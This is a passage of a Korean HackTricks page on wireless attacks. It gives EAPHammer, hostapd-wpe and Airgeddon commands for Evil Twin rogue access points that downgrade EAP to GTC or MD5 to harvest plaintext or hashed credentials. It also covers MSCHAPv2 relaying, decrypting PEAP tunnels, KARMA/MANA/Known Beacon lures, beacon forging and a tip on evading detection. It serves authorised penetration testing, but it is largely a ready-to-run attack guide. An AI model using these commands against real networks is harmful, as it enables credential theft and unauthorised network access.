hostapd-wpe๋Š” ์ž‘๋™ํ•˜๋ ค๋ฉด ์„ค์ • ํŒŒ์ผ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ • ํŒŒ์ผ๋“ค์˜ ์ƒ์„ฑ์„ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด https://github.com/WJDigby/apd_launchpad๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (/etc/hostapd-wpe/ ์•ˆ์— ์žˆ๋Š” python ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

์„ค์ • ํŒŒ์ผ์—์„œ ssid, channel, user files, cret/key, dh parameters, wpa version ๋ฐ auth ๋“ฑ์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

EAPHammer ์‚ฌ์šฉ

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

๊ธฐ๋ณธ์ ์œผ๋กœ EAPHammer๋Š” ๋‹ค์Œ authentication methods๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค(GTC๊ฐ€ plaintext passwords๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ๊ฐ€์žฅ ๋จผ์ € ์‹œ๋„๋˜๋Š” ์ ์— ์œ ์˜ํ•˜๊ณ , ๊ทธ ํ›„ ๋” ๊ฐ•๋ ฅํ•œ auth methods๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

์ด๋Š” ๊ธด ์—ฐ๊ฒฐ ์‹œ๊ฐ„์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ authentication methods๋ฅผ ๊ฐ€์žฅ ์•ฝํ•œ ๊ฒƒ์—์„œ ๊ฐ€์žฅ ๊ฐ•ํ•œ ๊ฒƒ ์ˆœ์„œ๋กœ server์— ์ง€์ •ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • ์žฅ์น˜๊ฐ€ โ€œdo not validate certificateโ€œ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์œผ๋ฉด, ํด๋ก ๋œ AP + rogue RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap)๊ฐ€ NetNTLMv2 (PEAP-MSCHAPv2) ๋˜๋Š” cleartext ์ž๊ฒฉ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. bettercap deauth (wifi.deauth <BSSID>)๋Š” ํ”„๋กœ๋ธŒ ์ค‘ ์ˆจ๊ฒจ์ง„ SSID๋ฅผ ๋“œ๋Ÿฌ๋‚ด๊ณ  ์žฌ์—ฐ๊ฒฐ์„ ๊ฐ•์ œํ•˜๋ฉฐ, PMF/802.11w๊ฐ€ ์Šคํ‘ธํ•‘๋œ deauth๋ฅผ ์ฐจ๋‹จํ•˜์ง€ ์•Š๋Š” ํ•œ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.
  • Cracked NetNTLMv2๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ Wiโ€‘Fi/AD creds๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ; GTC๋Š” ์ฆ‰์‹œ plaintext๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • ๋ฌด์ž‘์œ„๋กœ ์ƒ์„ฑ๋˜์–ด ํฌ๋ž˜ํ‚น์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ์•”ํ˜ธ๋ฅผ ๊ฐ€์ง„ ๋จธ์‹  ๊ณ„์ •์˜ ๊ฒฝ์šฐ, MSCHAPv2 relay๋ฅผ ์•…์šฉํ•˜์„ธ์š”: hostapd-mana๋ฅผ Evil Twin์œผ๋กœ ์‹คํ–‰ํ•˜์—ฌ MSCHAPv2 ๊ตํ™˜์„ wpa_sycophant๋กœ ์ „๋‹ฌํ•˜๊ณ , wpa_sycophant๋Š” ๋™์‹œ์— ์ •์‹ AP์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ๋ฆฌ๋ ˆ์ด๊ฐ€ ์„ฑ๊ณตํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜์ง€ ์•Š๊ณ ๋„ ์ธ์ฆ๋œ Wiโ€‘Fi ์ ‘๊ทผ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋Œ€์ƒ ๋ณด์•ˆ ์ˆ˜์ค€์„ ์ง€์›ํ•˜๋Š” ๋นŒ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” (WPA3/PMF๋Š” ์ตœ์‹  hostapd/wpa_supplicant๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค); PMF๋Š” deauth ๊ฐ•์ œ๋ฅผ ๋ฐฉ์ง€ํ•˜๋ฏ€๋กœ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ž๋ฐœ์ ์œผ๋กœ ์—ฐ๊ฒฐํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์„ธ์š”.

Using Airgeddon

Airgeddon์€ ์ด์ „์— ์ƒ์„ฑ๋œ certificated๋ฅผ ์‚ฌ์šฉํ•ด WPA/WPA2-Enterprise ๋„คํŠธ์›Œํฌ์— EAP ์ธ์ฆ์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€์งœ ๋„คํŠธ์›Œํฌ๋Š” ์—ฐ๊ฒฐ ํ”„๋กœํ† ์ฝœ์„ EAP-MD5๋กœ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜์—ฌ ์‚ฌ์šฉ์ž์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ MD5๋ฅผ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ ๊ณต๊ฒฉ์ž๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌ๋ž™ํ•˜๋ ค ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Airggedon์€ continuous Evil Twin attack (noisy) ๋˜๋Š” only create the Evil Attack until someone connects (smooth) ์ค‘ ํ•˜๋‚˜๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

์ด ๋ฐฉ๋ฒ•์€ PEAP ์—ฐ๊ฒฐ์—์„œ ํ…Œ์ŠคํŠธ๋˜์—ˆ์ง€๋งŒ, ์ž„์˜์˜ TLS ํ„ฐ๋„์„ ๋ณตํ˜ธํ™”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— EAP-TTLS์—์„œ๋„ ์ž‘๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

hostapd-wpe์˜ ๊ตฌ์„ฑ ๋‚ด์—์„œ _dh_file_์„ ํฌํ•จํ•˜๋Š” ์ค„์„ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜์„ธ์š” (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
์ด๋ ‡๊ฒŒ ํ•˜๋ฉด hostapd-wpe๊ฐ€ DH ๋Œ€์‹  RSA๋ฅผ ์‚ฌ์šฉํ•ด ํ‚ค๋ฅผ ๊ตํ™˜ํ•˜๋ฏ€๋กœ, ๋‚˜์ค‘์— ์„œ๋ฒ„์˜ ๊ฐœ์ธ ํ‚ค๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ํŠธ๋ž˜ํ”ฝ์„ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ ์ˆ˜์ •๋œ ๊ตฌ์„ฑ์œผ๋กœ ํ‰์†Œ์ฒ˜๋Ÿผ Evil Twin์„ hostapd-wpe๋กœ ์‹œ์ž‘ํ•˜์„ธ์š”. ๋˜ํ•œ Evil Twin ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์ธํ„ฐํŽ˜์ด์Šค์—์„œ wireshark๋ฅผ ์‹œ์ž‘ํ•˜์„ธ์š”.

์ง€๊ธˆ ๋˜๋Š” ๋‚˜์ค‘์—(์ด๋ฏธ ์ผ๋ถ€ ์ธ์ฆ ์‹œ๋„๊ฐ€ ์บก์ฒ˜๋œ ๊ฒฝ์šฐ) Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...์— ๊ฐœ์ธ RSA ํ‚ค๋ฅผ wireshark์— ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ƒˆ ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•˜๊ณ  ๋‹ค์Œ ๊ฐ’์œผ๋กœ ์–‘์‹์„ ์ฑ„์šฐ์„ธ์š”: IP address = any โ€“ Port = 0 โ€“ Protocol = data โ€“ Key File (select your key file, to avoid problems select a key file without being password protected).

๊ทธ๋ฆฌ๊ณ  ์ƒˆ๋กœ์šด โ€œDecrypted TLSโ€ tab์„ ํ™•์ธํ•˜์„ธ์š”:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):

  1. MAC-based Whitelist:
  • rogue AP๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ๋ช…์‹œ๋œ ์žฅ์น˜์˜ probe request์—๋งŒ ์‘๋‹ตํ•˜๋ฉฐ, ๋ชฉ๋ก์— ์—†๋Š” ๋‹ค๋ฅธ ๋ชจ๋“  ์žฅ์น˜์—๋Š” ๋ณด์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  1. MAC-based Blacklist:
  • rogue AP๋Š” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š” ์žฅ์น˜์˜ probe request๋ฅผ ๋ฌด์‹œํ•˜์—ฌ, ํ•ด๋‹น ํŠน์ • ์žฅ์น˜๋“ค์—๊ฒŒ๋Š” rogue AP๊ฐ€ ๋ณด์ด์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  1. SSID-based Whitelist:
  • rogue AP๋Š” ๋ชฉ๋ก์— ์žˆ๋Š” ํŠน์ • ESSID์— ๋Œ€ํ•œ probe request์—๋งŒ ์‘๋‹ตํ•˜๋ฏ€๋กœ, Preferred Network Lists(PNL)์— ํ•ด๋‹น ESSID๊ฐ€ ์—†๋Š” ์žฅ์น˜์—๋Š” ๋ณด์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  1. SSID-based Blacklist:
  • rogue AP๋Š” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š” ํŠน์ • ESSID์— ๋Œ€ํ•œ probe request์— ์‘๋‹ตํ•˜์ง€ ์•Š์•„, ํ•ด๋‹น ๋„คํŠธ์›Œํฌ๋ฅผ ์ฐพ๋Š” ์žฅ์น˜๋“ค์—๊ฒŒ๋Š” ๋ณด์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

์ด ๋ฐฉ๋ฒ•์€ ๋„คํŠธ์›Œํฌ์— ์—ฐ๊ฒฐํ•˜๋ ค๋Š” ์žฅ์น˜๋“ค์˜ ๋ชจ๋“  probe requests์— ์‘๋‹ตํ•˜๋Š” ์•…์„ฑ access point (AP)๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ์žฅ์น˜๊ฐ€ ์ฐพ๊ณ  ์žˆ๋Š” ๋„คํŠธ์›Œํฌ๋ฅผ ํ‰๋‚ด ๋‚ด์–ด ์žฅ์น˜๊ฐ€ ๊ณต๊ฒฉ์ž์˜ AP์— ์—ฐ๊ฒฐ๋˜๋„๋ก ์†์ž…๋‹ˆ๋‹ค. ์žฅ์น˜๊ฐ€ ์ด rogue AP๋กœ ์—ฐ๊ฒฐ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ์—ฐ๊ฒฐ์ด ์™„๋ฃŒ๋˜์–ด ์žฅ์น˜๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ๋„คํŠธ์›Œํฌ์— ์ž˜๋ชป ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

MANA

๊ทธ ํ›„, ์žฅ์น˜๋“ค์€ ๋ถˆํ™•์‹คํ•œ ๋„คํŠธ์›Œํฌ ์‘๋‹ต์„ ๋ฌด์‹œํ•˜๊ธฐ ์‹œ์ž‘ํ•˜์—ฌ ์›๋ž˜์˜ KARMA ๊ณต๊ฒฉ์˜ ํšจ๊ณผ๊ฐ€ ๊ฐ์†Œํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Ian de Villiers์™€ Dominic White๊ฐ€ ์†Œ๊ฐœํ•œ ์ƒˆ๋กœ์šด ๋ฐฉ๋ฒ•์ธ MANA ๊ณต๊ฒฉ์ด ๋“ฑ์žฅํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ rogue AP๊ฐ€ ์žฅ์น˜๋“ค์˜ broadcast probe requests์— ๋Œ€ํ•ด ์žฅ์น˜๋“ค์ด ์ด์ „์— ์ €์žฅํ•œ ๋„คํŠธ์›Œํฌ ์ด๋ฆ„(SSIDs)์œผ๋กœ ์‘๋‹ตํ•จ์œผ๋กœ์จ Preferred Network Lists (PNL)๋ฅผ ์บก์ฒ˜ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๊ตํ•œ ๊ณต๊ฒฉ์€ ์žฅ์น˜๋“ค์ด ์•Œ๋ ค์ง„ ๋„คํŠธ์›Œํฌ๋ฅผ ๊ธฐ์–ตํ•˜๊ณ  ์šฐ์„ ์ˆœ์œ„๋ฅผ ๋งค๊ธฐ๋Š” ๋ฐฉ์‹์„ ์•…์šฉํ•˜์—ฌ ์›๋ž˜ KARMA ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

MANA ๊ณต๊ฒฉ์€ ์žฅ์น˜๋“ค๋กœ๋ถ€ํ„ฐ ์˜ค๋Š” directed ๋ฐ broadcast probe requests๋ฅผ ๋ชจ๋‘ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. directed ์š”์ฒญ์˜ ๊ฒฝ์šฐ, ์žฅ์น˜์˜ MAC ์ฃผ์†Œ์™€ ์š”์ฒญ๋œ ๋„คํŠธ์›Œํฌ ์ด๋ฆ„์„ ๊ธฐ๋กํ•˜์—ฌ ์ด ์ •๋ณด๋ฅผ ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. broadcast ์š”์ฒญ์ด ์ˆ˜์‹ ๋˜๋ฉด AP๋Š” ์žฅ์น˜ ๋ชฉ๋ก์˜ ๋„คํŠธ์›Œํฌ ์ค‘ ํ•˜๋‚˜์™€ ์ผ์น˜ํ•˜๋Š” ์ •๋ณด๋กœ ์‘๋‹ตํ•˜์—ฌ ์žฅ์น˜๋ฅผ rogue AP์— ์—ฐ๊ฒฐ๋˜๋„๋ก ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

A Loud MANA attack์€ ์žฅ์น˜๋“ค์ด directed probing์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ทธ๋“ค์˜ ์„ ํ˜ธ ๋„คํŠธ์›Œํฌ ๋ชฉ๋ก (PNL)์„ ๋ชจ๋ฅผ ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๊ณ ๊ธ‰ ์ „๋žต์ด๋‹ค. ์ด ๊ณต๊ฒฉ์€ ๊ฐ™์€ ์ง€์—ญ์— ์žˆ๋Š” ์žฅ์น˜๋“ค์€ PNL์—์„œ ์ผ๋ถ€ ๋„คํŠธ์›Œํฌ ์ด๋ฆ„์„ ๊ณต์œ ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค๋Š” ์›์น™์— ๋”ฐ๋ผ ์ž‘๋™ํ•œ๋‹ค. ์„ ํƒ์ ์œผ๋กœ ์‘๋‹ตํ•˜๋Š” ๋Œ€์‹ , ์ด ๊ณต๊ฒฉ์€ ๊ด€์ฐฐ๋œ ๋ชจ๋“  ์žฅ์น˜์˜ ๊ฒฐํ•ฉ๋œ PNL์—์„œ ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ๋„คํŠธ์›Œํฌ ์ด๋ฆ„(ESSID)์— ๋Œ€ํ•ด probe responses๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ๊ด‘๋ฒ”์œ„ํ•œ ๋ฐฉ์‹์€ ์žฅ์น˜๊ฐ€ ์ต์ˆ™ํ•œ ๋„คํŠธ์›Œํฌ๋ฅผ ์ธ์‹ํ•˜๊ณ  rogue Access Point (AP)์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ๊ฐ€๋Šฅ์„ฑ์„ ๋†’์ธ๋‹ค.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack๊ฐ€ ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์„ ๋•Œ, Known Beacon attack์€ ๋˜ ๋‹ค๋ฅธ ์ ‘๊ทผ๋ฒ•์„ ์ œ์‹œํ•œ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ์—์„œ ํŒŒ์ƒ๋œ ํ›„๋ณด ESSIDs ๋ชฉ๋ก์„ ์‚ฌ์šฉํ•˜์—ฌ, brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs. ์ด๋Š” ์ˆ˜๋งŽ์€ ๋„คํŠธ์›Œํฌ๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜์—ฌ ํ”ผํ•ด์ž์˜ PNL ๋‚ด ESSID์™€ ์ผ์น˜ํ•˜๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ ๋งŒ๋“ค์–ด์ง„ AP์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•˜๊ฒŒ ๋งŒ๋“ ๋‹ค. ๊ณต๊ฒฉ์€ ์žฅ์น˜๋ฅผ ๋” ์ ๊ทน์ ์œผ๋กœ ์œ ์ธํ•˜๊ธฐ ์œ„ํ•ด --loud ์˜ต์…˜๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ ์ฆํญํ•  ์ˆ˜ ์žˆ๋‹ค.

Eaphammer๋Š” ์ด ๊ณต๊ฒฉ์„ ๋ฆฌ์ŠคํŠธ ์•ˆ์˜ ๋ชจ๋“  ESSIDs๊ฐ€ ์ œ๊ณต๋˜๋Š” MANA attack์œผ๋กœ ๊ตฌํ˜„ํ–ˆ๋‹ค(you could also combine this with --loud to create a Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Known Beacon Burst attack์€ ํŒŒ์ผ์— ๋‚˜์—ด๋œ ๊ฐ ESSID์— ๋Œ€ํ•ด beacon frames๋ฅผ ์—ฐ์†์ ์œผ๋กœ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ๊ฐ€์งœ ๋„คํŠธ์›Œํฌ๊ฐ€ ๋ฐ€์ง‘ํ•œ ํ™˜๊ฒฝ์ด ํ˜•์„ฑ๋˜์–ด, ํŠนํžˆ MANA attack๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด ๋””๋ฐ”์ด์Šค๊ฐ€ rogue AP์— ์—ฐ๊ฒฐํ•  ๊ฐ€๋Šฅ์„ฑ์ด ํฌ๊ฒŒ ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ์†๋„์™€ ์–‘์„ ์ด์šฉํ•ด ๋””๋ฐ”์ด์Šค์˜ ๋„คํŠธ์›Œํฌ ์„ ํƒ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์••๋„ํ•ฉ๋‹ˆ๋‹ค.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct๋Š” ์ „ํ†ต์ ์ธ ๋ฌด์„  ์•ก์„ธ์Šค ํฌ์ธํŠธ ์—†์ด Wi-Fi๋ฅผ ์ด์šฉํ•ด ๊ธฐ๊ธฐ๋“ค๋ผ๋ฆฌ ์ง์ ‘ ์—ฐ๊ฒฐ๋˜๋„๋ก ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ํ”„๋ฆฐํ„ฐ๋‚˜ ํ…”๋ ˆ๋น„์ „๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ Internet of Things (IoT) ์žฅ์น˜์— ํ†ตํ•ฉ๋˜์–ด ์žฅ์น˜ ๊ฐ„ ์ง์ ‘ ํ†ต์‹ ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Wi-Fi Direct์˜ ํŠน์ง• ์ค‘ ํ•˜๋‚˜๋Š” ํ•œ ๊ธฐ๊ธฐ๊ฐ€ ์—ฐ๊ฒฐ์„ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด group owner ์—ญํ• ์„ ๋งก๋Š”๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

Wi-Fi Direct ์—ฐ๊ฒฐ์˜ ๋ณด์•ˆ์€ **Wi-Fi Protected Setup (WPS)**์„ ํ†ตํ•ด ์„ค์ •๋˜๋ฉฐ, ์•ˆ์ „ํ•œ ํŽ˜์–ด๋ง์„ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

์ด๋“ค ๋ฐฉ๋ฒ•์€ ํŠนํžˆ PIN entry๊ฐ€ ๊ธฐ์กด Wi-Fi ๋„คํŠธ์›Œํฌ์˜ WPS์™€ ๋™์ผํ•œ ์ทจ์•ฝ์ ์— ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์–ด ์œ ์‚ฌํ•œ ๊ณต๊ฒฉ ๋ฒกํ„ฐ์˜ ๋Œ€์ƒ์ด ๋ฉ๋‹ˆ๋‹ค.

EvilDirect Hijacking

EvilDirect Hijacking์€ Wi-Fi Direct์— ํŠนํ™”๋œ ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์ด๋Š” Evil Twin ๊ณต๊ฒฉ ๊ฐœ๋…์„ ๊ทธ๋Œ€๋กœ ๋”ฐ๋ฅด์ง€๋งŒ Wi-Fi Direct ์—ฐ๊ฒฐ์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๊ณต๊ฒฉ์ž๋Š” ํ•ฉ๋ฒ•์ ์ธ group owner๋ฅผ ์‚ฌ์นญํ•˜์—ฌ ์žฅ์น˜๋“ค์ด ์•…์„ฑ ์—”ํ‹ฐํ‹ฐ์— ์—ฐ๊ฒฐ๋˜๋„๋ก ์†์ด๋ ค ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ airbase-ng์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์นญ ๋Œ€์ƒ ๊ธฐ๊ธฐ์˜ channel, ESSID, MAC address๋ฅผ ์ง€์ •ํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

References

TODO: ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š” https://github.com/wifiphisher/wifiphisher (Facebook ๋กœ๊ทธ์ธ ๋ฐ captive portals์—์„œ์˜ WPA ๋ชจ๋ฐฉ)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ